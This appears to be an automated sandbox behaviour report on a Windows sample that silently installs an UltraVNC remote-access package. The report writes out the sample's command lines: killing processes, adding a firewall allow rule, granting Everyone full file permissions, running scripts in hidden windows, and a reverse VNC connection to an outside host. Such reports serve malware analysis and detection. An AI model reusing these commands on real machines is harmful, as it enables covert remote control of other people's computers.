Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im mshta.exe /t /fi "status eq running"
- '<SYSTEM32>\taskkill.exe' /F /IM mshta.exe
- '<SYSTEM32>\taskkill.exe' /F /IM SUPPORTO.EXE
- '<SYSTEM32>\taskkill.exe' /F /IM ASSISTENZA.EXE
- '<SYSTEM32>\taskkill.exe' /F /IM menuvnc.EXE
- '<SYSTEM32>\taskkill.exe' /F /IM menuvnc2.EXE
- '<SYSTEM32>\net.exe' stop "uvnc_service"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="vnc" dir=in action=allow program="%PROGRAMDATA%\supportoremoto\winvnc.exe" enable=yes
- '<SYSTEM32>\taskkill.exe' /F /IM winvnc.exe
Downloads
- http://www.ce#####omputersrl.it/index_file/vnc/supporto-x64.cab as %homepath%\temp\supporto.cab
Modifies file system
Creates the following files
- %TEMP%\ixp000.tmp\setup.bat
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1ec73a5124c00c4594e271bb31e75306.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\3a1e7db9c158e44ea146aafb9f9e6eff.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4add1f2690289b499fdf89ef470fe556.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\cb49482214db5145b0980253b50f2f29.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\5a82bd214aa500448ed6c1d3e12cd37e.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\456a394f22a7f340beab7a1f3863a197.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\a0a137292d452040b7b19daf57661eb0.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\b5bc3cb67ec9b444ae6c97cbb57a0e35.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\8335c19440e0f142991eac35564b55f9.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\86abf309e1cb554ba2836f4e0f3c138c.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\0c731322fb1da243900ff39633a87dbb.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\6843a0720236544ba3f4253f9ba81598.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\466668c4af49344b9594a56f75557b9a.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\9cfa3beebfc52c4391e4b548fbc10d12.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\a1d88767881ee849af708358aaa2296b.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4bd9290cc569074cbf064004774a10ee.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\280d990be1873a40943e11f992910a7c.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\d04d153fa8572b42b2ed72879f1242a3.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\9f43e415281abf4d92fdcde41a0a0d97.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\cbc192a2d746154b82f36f3cbe5e4e68.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1b14558df496ce4485bc81a338cc026a.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\727943cb8a56b840bb851fe93e6d176a.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\76e3f794b4a8964cae652a6a2d56c829.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\51e7702d7cc49044af7604018002dbd7.tmp
- C:\users\public\desktop\centro computer supporto.lnk
- %PROGRAMDATA%\microsoft\windows\start menu\programs\centro computer supporto.lnk
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\8417a352a8200a4cb09e4130c6d496ba.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1373df52593c2f4aba3232caaab25195.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\3d54bff109cf404ba774284de3dc5ab5.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\44a5b9a374358d42aa9d7c5b4d082161.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4b943787c0c674488494216511145839.tmp
- %HOMEPATH%\temp\install.bat
- %HOMEPATH%\temp\supporto.cab
- %HOMEPATH%\temp\ic.txt
- %PROGRAMDATA%\supportoremoto\supporto.cab
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\e3b2aa72e46f074ea41f4ac15fecf2ed.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1dc9fc0edb8c254594d5eea5b1428d34.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\6f416a81be73a343a99a6452ca688246.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\bc28e3db10ec73479de14939ebb097a9.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4725196373a260418afda1373bef9cf3.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\aa7a6d2bcbfaf7479ebef7eaa229e0fc.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\d20d91115f50214ba59b9d79e739fa73.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\aa6dd3945d936d46863908e6027bd411.tmp
- %PROGRAMDATA%\supportoremoto\id.txt
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\2efc1e2d970a404c8bfaf8a5c2198f05.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\f9ade7bab892c04393c69768f66232be.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\734f019a5fafd54582ff7225197709ab.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\45eca4d228a0774c95977285a7595f43.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\54058db3c49c5a45b79a72105e4d7ce9.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\c2ef7e0a05c7e64e8ed2c131ef4d9c2b.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\99cc55afec48874c9c40417c246c6b2c.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\e8efa7d9a8d7fb4f86d39273405bde4a.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\5c96ff1422efa540b650714e9b819ebb.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\e4f4f5241f51c048870082f2afd30718.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\3dbf9a338111b64daaaa02ccb752e676.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\d2316007f2c9ce47a40f29e8a80f8d39.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\2d747f130951994d93b4812548d0ac95.tmp
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\792f3bff5fc3ff4a9ef843a759371be2.tmp
- nul
- %PROGRAMDATA%\supportoremoto\$dpx$.tmp\70f93889be1ba449bae22e68db0f8811.tmp
- %PROGRAMDATA%\supportoremoto\service.txt
Deletes the following files
- %HOMEPATH%\temp\ic.txt
- %TEMP%\ixp000.tmp\setup.bat
- %HOMEPATH%\temp\install.bat
- %HOMEPATH%\temp\supporto.cab
- %PROGRAMDATA%\supportoremoto\supporto.cab
- %PROGRAMDATA%\supportoremoto\winvnc.log
- %PROGRAMDATA%\supportoremoto\aultravnc.i
- %PROGRAMDATA%\supportoremoto\ultravnc.ini
Moves the following files
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\e3b2aa72e46f074ea41f4ac15fecf2ed.tmp to %PROGRAMDATA%\supportoremoto\20180712_server_clientauth.pubkey
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\3a1e7db9c158e44ea146aafb9f9e6eff.tmp to %PROGRAMDATA%\supportoremoto\mslogon.log
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4add1f2690289b499fdf89ef470fe556.tmp to %PROGRAMDATA%\supportoremoto\mslogonacl.exe
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\cb49482214db5145b0980253b50f2f29.tmp to %PROGRAMDATA%\supportoremoto\notifica.hta
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\5a82bd214aa500448ed6c1d3e12cd37e.tmp to %PROGRAMDATA%\supportoremoto\notifica.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\456a394f22a7f340beab7a1f3863a197.tmp to %PROGRAMDATA%\supportoremoto\porta.txt
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\a0a137292d452040b7b19daf57661eb0.tmp to %PROGRAMDATA%\supportoremoto\scheduleoff.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\b5bc3cb67ec9b444ae6c97cbb57a0e35.tmp to %PROGRAMDATA%\supportoremoto\scheduleon.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\8335c19440e0f142991eac35564b55f9.tmp to %PROGRAMDATA%\supportoremoto\schook64.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\86abf309e1cb554ba2836f4e0f3c138c.tmp to %PROGRAMDATA%\supportoremoto\securevncplugin64.dsm
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1373df52593c2f4aba3232caaab25195.tmp to %PROGRAMDATA%\supportoremoto\menuvncs.hta
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1ec73a5124c00c4594e271bb31e75306.tmp to %PROGRAMDATA%\supportoremoto\menuvncs.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\0c731322fb1da243900ff39633a87dbb.tmp to %PROGRAMDATA%\supportoremoto\service.txt
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\2efc1e2d970a404c8bfaf8a5c2198f05.tmp to %PROGRAMDATA%\supportoremoto\service_reset.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\a1d88767881ee849af708358aaa2296b.tmp to %PROGRAMDATA%\supportoremoto\setcad.exe
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4bd9290cc569074cbf064004774a10ee.tmp to %PROGRAMDATA%\supportoremoto\setpasswd.exe
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\280d990be1873a40943e11f992910a7c.tmp to %PROGRAMDATA%\supportoremoto\snot.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\d04d153fa8572b42b2ed72879f1242a3.tmp to %PROGRAMDATA%\supportoremoto\testauth.exe
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\9f43e415281abf4d92fdcde41a0a0d97.tmp to %PROGRAMDATA%\supportoremoto\ultravnc.ini
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\cbc192a2d746154b82f36f3cbe5e4e68.tmp to %PROGRAMDATA%\supportoremoto\uvnckeyboardhelper.exe
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1b14558df496ce4485bc81a338cc026a.tmp to %PROGRAMDATA%\supportoremoto\vnchooks.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\727943cb8a56b840bb851fe93e6d176a.tmp to %PROGRAMDATA%\supportoremoto\winvnc.exe
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\6843a0720236544ba3f4253f9ba81598.tmp to %PROGRAMDATA%\supportoremoto\service_install.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\9cfa3beebfc52c4391e4b548fbc10d12.tmp to %PROGRAMDATA%\supportoremoto\service_remove.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\8417a352a8200a4cb09e4130c6d496ba.tmp to %PROGRAMDATA%\supportoremoto\menuvnce.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\3d54bff109cf404ba774284de3dc5ab5.tmp to %PROGRAMDATA%\supportoremoto\menuvnce.hta
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\44a5b9a374358d42aa9d7c5b4d082161.tmp to %PROGRAMDATA%\supportoremoto\menuvncc.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\6f416a81be73a343a99a6452ca688246.tmp to %PROGRAMDATA%\supportoremoto\assistenza.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\bc28e3db10ec73479de14939ebb097a9.tmp to %PROGRAMDATA%\supportoremoto\assistenza.ico
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4725196373a260418afda1373bef9cf3.tmp to %PROGRAMDATA%\supportoremoto\aultravnc.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\aa7a6d2bcbfaf7479ebef7eaa229e0fc.tmp to %PROGRAMDATA%\supportoremoto\authadmin.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\d20d91115f50214ba59b9d79e739fa73.tmp to %PROGRAMDATA%\supportoremoto\authssp.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\aa6dd3945d936d46863908e6027bd411.tmp to %PROGRAMDATA%\supportoremoto\bultravnc.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\f9ade7bab892c04393c69768f66232be.tmp to %PROGRAMDATA%\supportoremoto\centro computer supporto.lnk
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\466668c4af49344b9594a56f75557b9a.tmp to %PROGRAMDATA%\supportoremoto\controllo.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\70f93889be1ba449bae22e68db0f8811.tmp to %PROGRAMDATA%\supportoremoto\ddengine64.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\734f019a5fafd54582ff7225197709ab.tmp to %PROGRAMDATA%\supportoremoto\es.vbs
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\1dc9fc0edb8c254594d5eea5b1428d34.tmp to %PROGRAMDATA%\supportoremoto\aggiorna.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\45eca4d228a0774c95977285a7595f43.tmp to %PROGRAMDATA%\supportoremoto\hide.vbs
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\c2ef7e0a05c7e64e8ed2c131ef4d9c2b.tmp to %PROGRAMDATA%\supportoremoto\ldapauth.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\99cc55afec48874c9c40417c246c6b2c.tmp to %PROGRAMDATA%\supportoremoto\ldapauth9x.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\e8efa7d9a8d7fb4f86d39273405bde4a.tmp to %PROGRAMDATA%\supportoremoto\ldapauthnt4.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\5c96ff1422efa540b650714e9b819ebb.tmp to %PROGRAMDATA%\supportoremoto\link.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\e4f4f5241f51c048870082f2afd30718.tmp to %PROGRAMDATA%\supportoremoto\link.lnk
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\3dbf9a338111b64daaaa02ccb752e676.tmp to %PROGRAMDATA%\supportoremoto\logging.dll
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\d2316007f2c9ce47a40f29e8a80f8d39.tmp to %PROGRAMDATA%\supportoremoto\lpau.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\2d747f130951994d93b4812548d0ac95.tmp to %PROGRAMDATA%\supportoremoto\menuvnc.hta
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\792f3bff5fc3ff4a9ef843a759371be2.tmp to %PROGRAMDATA%\supportoremoto\menuvnc.i
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\4b943787c0c674488494216511145839.tmp to %PROGRAMDATA%\supportoremoto\menuvncc.hta
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\54058db3c49c5a45b79a72105e4d7ce9.tmp to %PROGRAMDATA%\supportoremoto\install.bat
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\76e3f794b4a8964cae652a6a2d56c829.tmp to %PROGRAMDATA%\supportoremoto\winvnc.log
- from %PROGRAMDATA%\supportoremoto\$dpx$.tmp\51e7702d7cc49044af7604018002dbd7.tmp to %PROGRAMDATA%\supportoremoto\workgrpdomnt4.dll
Substitutes the following files
- %PROGRAMDATA%\supportoremoto\winvnc.log
- %PROGRAMDATA%\supportoremoto\aultravnc.i
- %PROGRAMDATA%\supportoremoto\ultravnc.ini
Network activity
Connects to
- 'localhost':5900
TCP
HTTP GET requests
- http://www.ce#####omputersrl.it/index_file/vnc/supporto-x64.cab
UDP
- DNS ASK ce#####omputersrl.it
- DNS ASK vn#.####rocomputersrl.it
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'GadgetHost' WindowName: ''
- ClassName: 'HTML Application Host Window Class' WindowName: ''
- ClassName: 'WinVNC Tray Icon' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%PROGRAMDATA%\supportoremoto\hide.vbs" "%PROGRAMDATA%\supportoremoto\link.lnk"
- '%PROGRAMDATA%\supportoremoto\winvnc.exe' -uninstall
- '<SYSTEM32>\wscript.exe' "%PROGRAMDATA%\supportoremoto\hide.vbs" "%PROGRAMDATA%\supportoremoto\assistenza.bat"
- '%PROGRAMDATA%\supportoremoto\setpasswd.exe' @18220
- '%PROGRAMDATA%\supportoremoto\winvnc.exe' -id:18220 -connect vnc.centrocomputersrl.it::23 -autoreconnect id:18220 -run
- '<SYSTEM32>\wscript.exe' "%PROGRAMDATA%\supportoremoto\hide.vbs" "%PROGRAMDATA%\supportoremoto\controllo.bat"
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAMDATA%\SupportoRemoto\link.bat" "' (with hidden window)
- '<SYSTEM32>\net.exe' stop "uvnc_service"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAMDATA%\supportoremoto\assistenza.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAMDATA%\supportoremoto\controllo.bat" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "Setup.bat"
- '%WINDIR%\syswow64\mshta.exe' "%PROGRAMDATA%\SupportoRemoto\menuvnc.hta"
- '<SYSTEM32>\find.exe' "Send_OK"
- '<SYSTEM32>\cmd.exe' /S /D /c" type winvnc.log "
- '<SYSTEM32>\wbem\wmic.exe' /locale:ms_409 service where (name="uvnc_service") get state /value
- '<SYSTEM32>\findstr.exe' State=Running
- '<SYSTEM32>\cmd.exe' /S /D /c" call wmic /locale:ms_409 service where (name="uvnc_service") get state /value "
- '%WINDIR%\syswow64\mshta.exe' "%PROGRAMDATA%\SupportoRemoto\menuvncc.hta"
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAMDATA%\supportoremoto\assistenza.bat" "
- '<SYSTEM32>\cacls.exe' %PROGRAMDATA%\supportoremoto\*.* /e /p Everyone:f
- '<SYSTEM32>\icacls.exe' "%PROGRAMDATA%\supportoremoto\supporto.log" /grant Everyone:(f)
- '<SYSTEM32>\net1.exe' stop "uvnc_service"
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAMDATA%\supportoremoto\controllo.bat" "
- '<SYSTEM32>\icacls.exe' "c:\users\public\desktop\*.lnk" /grant Everyone:(f)
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAMDATA%\SupportoRemoto\link.bat" "
- '<SYSTEM32>\expand.exe' -F:*.* supporto.cab %PROGRAMDATA%\supportoremoto
- '<SYSTEM32>\ping.exe' 8.8.8.8 -n 3
- '<SYSTEM32>\ping.exe' localhost -n 2
- '<SYSTEM32>\cmd.exe' /K install.bat
- '<SYSTEM32>\find.exe' /i "x86"
- '<SYSTEM32>\reg.exe' Query "HKLM\Hardware\Description\System\CentralProcessor\0"
- '<SYSTEM32>\find.exe' "6.0"
- '<SYSTEM32>\find.exe' "5.2"
- '<SYSTEM32>\find.exe' "5.1"
- '<SYSTEM32>\cmd.exe' /S /D /c" ver "
- '%WINDIR%\explorer.exe' shell:::{3080F90D-D7AD-11D9-BD98-0000947B0257}
- '<SYSTEM32>\findstr.exe' /n /c:"DisableAero" %PROGRAMDATA%\supportoremoto\winvnc.log
